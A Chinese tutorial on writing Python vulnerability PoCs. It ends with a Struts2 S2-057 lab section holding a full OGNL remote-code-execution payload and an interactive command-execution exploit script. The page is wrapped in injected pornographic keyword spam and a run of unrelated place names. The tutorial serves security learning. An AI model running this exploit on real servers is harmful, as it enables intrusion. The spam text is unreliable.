" />

最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python漏洞驗證程序Poc利用入門到實戰(zhàn)編寫

 更新時間:2022年02月19日 12:43:50   作者:雷石安全實驗室  
這篇文章主要為大家介紹了Python?Poc利用入門到實戰(zhàn)編寫實現示例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步

01 什么是poc

PoC(全稱: Proof of Concept), 中文譯作概念驗證。在安全界,你可以理解成為漏洞驗證程序。和一些應用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點的一段代碼。

02 什么是EXP

Exp(全稱: Exploit),中文叫**漏洞利用程序,**就是一段可以發(fā)揮漏洞價值的程序。想象一下這樣的場景,目標存在一個 SQL 注入漏洞,然后被你知道了,然后你編寫了一個程序,通過這個 SQL 注入漏洞,拿到了目標的權限,那么這個程序就是所謂的 Exp 了,當然,如果你沒有使用這個漏洞,它就這么放著,那么這個漏洞,對你來說可以認為是沒有價值的。

03 關于 PoC/Exp 的兩個誤區(qū)

1. 寫 PoC 要會 Python?PoC 的存在,只有一個目的:證明漏洞存在。而關于 PoC 的形式,或者說代碼實現方式,你喜歡用什么語言,就用什么語言。推薦Python語言書寫,因為Python書寫簡單,易讀懂。

2. PoC 就是 Exp?其實嚴格來講,PoC 和 Exp 是兩個東西。PoC 就是用來證明漏洞存在的,而 Exp 是用來利用這個漏洞進一步進行攻擊,在很多情況下,知道了漏洞存在,卻不知道具體怎么利用,編寫一個 PoC 非常簡單,而編寫一個 Exp 是有一定難度的。

舉個栗子:

Poc好比你家門鎖存在問題,別人知道,但不搞破壞;而Exp就是知道你家門鎖有問題,通過進一步利用,進你家進行盜竊等違法行為。

04 PoC 編寫流程

對于一個已知公開的漏洞,編寫流程大致分為以下幾個步驟:

  • 查看漏洞詳情,確定影響范圍。獲取一個漏洞的詳細情況后,可以通過官網下載受影響版本,或者在github上查找已有的docker文件。

  • 搭建漏洞環(huán)境 通過虛擬機、docker、phpstudy搭建漏洞環(huán)境,有條件的同學可以在云端搭建,(這里推薦使用docker進行搭建,搭建環(huán)境中會出現一些錯誤,浪費不必要的時間,而已有的docker是大佬們對漏洞進行復現后寫出來的docker文件)。

  • 復現漏洞 根據漏洞詳情,跟著走一遍流程,檢測漏洞是否存在,其中要尤其注意些參數、命令、函數及對應的提交方法,大概了解漏洞的原理、利用過程、判斷漏洞是否存在的地方。

  • 書寫Poc 在漏洞復現完成后,開始著手寫Poc,以可以先寫一個簡單的請求,檢查漏洞是否存在,然后可以將頁面的請求通過正則或者lxml進行過濾得到想要的結果。

  • 測試Poc 通過搭建的環(huán)境對書寫的Poc進行測試,在書寫的時候驗證漏洞存在后,每次進行修改都要進行測試,最終達到想要的效果。

05 Poc編寫中涉及到的一些庫

urllib 提供的一個用于操作URL的模塊,爬取網頁的時候,經常需要用到這個庫。

urllib.request?——?打開和讀取url
urllib.error ——?包含 urllib.request 拋出的異常。
urllib.parse ——?解析 URL。

requests  實現的簡單易用的HTTP庫,比urllib更加簡潔

requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
url?——?請求的url
headers?——?請求時構造的請求頭
data?——?請求時帶入的數據
verify?——?取消https告警
proxies?——?代理設置
timeout?——?請求響應超時處理

re  正則表達式模塊,使用簡潔的字符表達式,匹配字符串中想要的結果

使用的正則語法,建議將請求源碼復制到在線正則匹配網站,進行正則語法構造。

正則在線測試:http://m.fzitv.net/tools/zhengze.htm

json 將Python數據處理成json格式或者將json數據處理成Python數據格式

兩種方法
json.dumps?? 將?Python?對象編碼成?JSON?字符串?
json.loads???將已編碼的?JSON?字符串解碼為?Python?對象?

lxml  XML和HTML的解析器,其主要功能是解析和提取XML和HTML中的數據,也可以定位特定元素及節(jié)點的信息

lxml?定位元素節(jié)點涉及到Xpath語法

from?lxml?import?etree
html?=?etree.HTML(response.text)
result?=?html.xpath('xpath語句')
print(result)

optparse 命令行參數模塊,在Poc中經??吹揭恍﹨?-h(--hlep)、-u(--url)等參數,就是使用的此模塊

parser?=?optparse.OptionParser()???#?導入OptionParser對象后才可以使用add_option
parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter?User?Name!!')????#?添加需要的參數和內容
parse.set_defaults(v=1.2)??#也可以這樣設置默認值??
options,args=parse.parse_args()?

base64對字符串進行base64加密解密模塊

base64.b64encode()?——?編碼函數
base64.b64decode()?——?解碼函數

multiprocessing 多進程,在處理一些數據量較大的請求時可以使用多進程來較少處理時間。(Pyhton的多線程是假的并不是并發(fā)而是串發(fā)的)

from?multiprocessing?import?Process
def?Poc():
xxxx
....

if?__name?==?'__main__':
????for?i?in?rangge(5):
????????thread?=?Process(target=Poc,args=str(i))
????????thread.start()
????Thread.join()

06 Web漏洞Poc編寫基本方法

import?requests
import?re
from?requests.packages.urllib3.exceptions?import?InsecureRequestWarning
def?Poc(url):
target_url?=?url?+?'payload'?#驗證存在漏洞的url
#?代理池設置
proxy?=?{
????????'http':'127.0.0.1:812',
????????'http':'127.0.0.1:8123'
????}
#?請求頭部分構造
????headers?=?{
????????'User-Agent':'Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/92.0.4515.107?Safari/537.36',???#模擬瀏覽器請求
????????'cookie':'xxxxxxxxxxxxxx',???#有些請求需要帶上cookie才可以請求到想要的內容
????????'Connection':'close'???#關閉多余的連接請求
????}
????data?=?{'name':'xxxx','value':'xxxx'}???#向url中帶入請求的數據
????#?使用try?except對異常進行處理
????try:
????????requests.packages.urllib3.disable_warnings(InsecureRequestWarning)????#取消SSL驗證告警
????????response?=?requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)???#請求漏洞的url
????????if?response.status_code?==?200:
????????????result?=?re.search(r'_____',response.text,re.I)????#使用正則匹配頁面請求,下劃線處填寫正則規(guī)則
????????????print('正在獲取結果:{}'.format(result.group(1)))
????????else:
????????????print('請求失?。簕}'.format(response.status_code))
????except?Exception?as?e:
????????print('請求失敗:?{}'.format(e))
if?__name__?==?'__main__':
????url?=?str(input('請輸入檢測的url:'))
????Poc(url)

07 實戰(zhàn)漏洞Poc編寫

這里使用Struts2 s2-057漏洞進行測試 漏洞部署使用docker,

源碼下載連接:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

啟動環(huán)境:docker-compose up -d

訪問:http://192.168.11.124:8080/struts2-showcase/

首先復現漏洞,了解漏洞復現每一步。

進行poc編寫測試:驗證漏洞是否存在 :

Poc:/struts2-showcase/$%7B233*233%7D/actionChain1.action

http://192.168.11.124:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

訪問連接后,連接中的$%7B233*233%7D 被解析成了 54289(233*233),說明存在漏洞。

隨后可以根據已有的漏洞Poc(exp),再次進行驗證。

注:此處的poc需要進行url編碼。

Poc(exp):${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

漏洞復現基本完成,現在進行Poc編寫。

import?requests?
import?sys?
def?title():
????print('+------------------------------------------')
????print('Version:Struts S2-057 ????????????????????')
????print('author:Tackrio ???????????????????????????')
????print('use:exploit.py url ???????????????????????')
????print('+------------------------------------------')
def?Poc(url):
????try:
????????while?True:
????????????cmd?=?input('$')
????????????payload_command?=?'/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action'?
????????????payload_test?=?'/struts2-showcase/$%7B1+1%7D/actionChain1.action'
????????????response_test?=?requests.get(url=url?+?payload_test,allow_redirects=False,verify=False,timeout=6)
????????????content?=?response_test.headers.get('Location').split('/')[2]
????????????if?cmd?==?'exit':
????????????????exit()
????????????if?response_test.status_code?==?302?and?content?==?'2':
????????????????url1?=?url?+?payload_command
????????????????response?=?requests.get(url=url1,allow_redirects=False,verify=False,timeout=6)
????????????????print(response.headers.get('Location').split('/')[2])
????except?requests.ConnectionError?as?error:
????????print("請求出錯:",error)
if?__name__?==?"__main__":
????title()
????args?=?sys.argv[1]
????Poc(url=args)

以上就是從入門到實戰(zhàn)Python漏洞驗證程序Poc利用的詳細內容,更多關于Python漏洞驗證程序Poc利用的資料請關注腳本之家其它相關文章!

相關文章

  • python殺死一個線程的方法

    python殺死一個線程的方法

    由于python線程沒有提供abort方法,所以我們需要自己想辦法解決此問題,面對這一問題,小編幫大家解決phthon殺死一個線程的方法,需要的朋友一起來學習吧
    2015-09-09
  • 解決使用Pandas 讀取超過65536行的Excel文件問題

    解決使用Pandas 讀取超過65536行的Excel文件問題

    這篇文章主要介紹了解決使用Pandas 讀取超過65536行的Excel文件問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-11-11
  • Jupyter notebook運行Spark+Scala教程

    Jupyter notebook運行Spark+Scala教程

    這篇文章主要介紹了Jupyter notebook運行Spark+Scala教程,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-04-04
  • python 簡單搭建阻塞式單進程,多進程,多線程服務的實例

    python 簡單搭建阻塞式單進程,多進程,多線程服務的實例

    下面小編就為大家?guī)硪黄猵ython 簡單搭建阻塞式單進程,多進程,多線程服務的實例。小編覺得挺不錯的,現在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-11-11
  • django站點管理詳解

    django站點管理詳解

    這篇文章主要介紹了django站點管理詳解,具有一定借鑒價值,需要的朋友可以參考下。
    2017-12-12
  • django中F表達式和Q函數應用與原理詳解

    django中F表達式和Q函數應用與原理詳解

    F對象查詢與Q對象查詢,剛看到大家一定會感到很陌生,其實它們也是 Django 提供的查詢方法,而且非常的簡單的高效,下面這篇文章主要給大家介紹了關于django中F表達式和Q函數應用與原理的相關資料,需要的朋友可以參考下
    2023-05-05
  • Python?類方法和靜態(tài)方法之間的區(qū)別

    Python?類方法和靜態(tài)方法之間的區(qū)別

    這篇文章主要介紹了Python?類方法和靜態(tài)方法之間的區(qū)別,靜態(tài)方法并不是真正意義上的類方法,它只是一個被放到類里的函數而已,更多內容需要的朋友可以參考一下
    2022-07-07
  • Python編程源碼報錯解決方法總結經驗分享

    Python編程源碼報錯解決方法總結經驗分享

    這篇文章主要介紹了在平時Python編程工作中一些源碼報錯的解決方法總結經驗分享,有需要的朋友可以借鑒參考下,希望能夠有所幫助
    2021-10-10
  • python的常見矩陣運算(小結)

    python的常見矩陣運算(小結)

    這篇文章主要介紹了python的常見矩陣運算(小結),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-08-08
  • Python實現多子圖繪制系統(tǒng)的示例詳解

    Python實現多子圖繪制系統(tǒng)的示例詳解

    這篇文章主要介紹了如何利用python實現多子圖繪制系統(tǒng),文中的示例代碼講解詳細,具有一定的的參考價值,感興趣的小伙伴可以跟隨小編一起學習一下
    2023-09-09

最新評論

高平市| 婺源县| 上林县| 丹江口市| 木兰县| 阳春市| 略阳县| 勃利县| 高密市| 武山县| 莲花县| 宁阳县| 永春县| 渝中区| 广南县| 什邡市| 黑水县| 隆安县| 宁化县| 通河县| 吉木乃县| 辽宁省| 石楼县| 左云县| 额敏县| 饶平县| 林口县| 镶黄旗| 上犹县| 女性| 山西省| 兴文县| 江阴市| 邢台市| 桂东县| 平定县| 宜昌市| 桦南县| 南华县| 古田县| 通州区|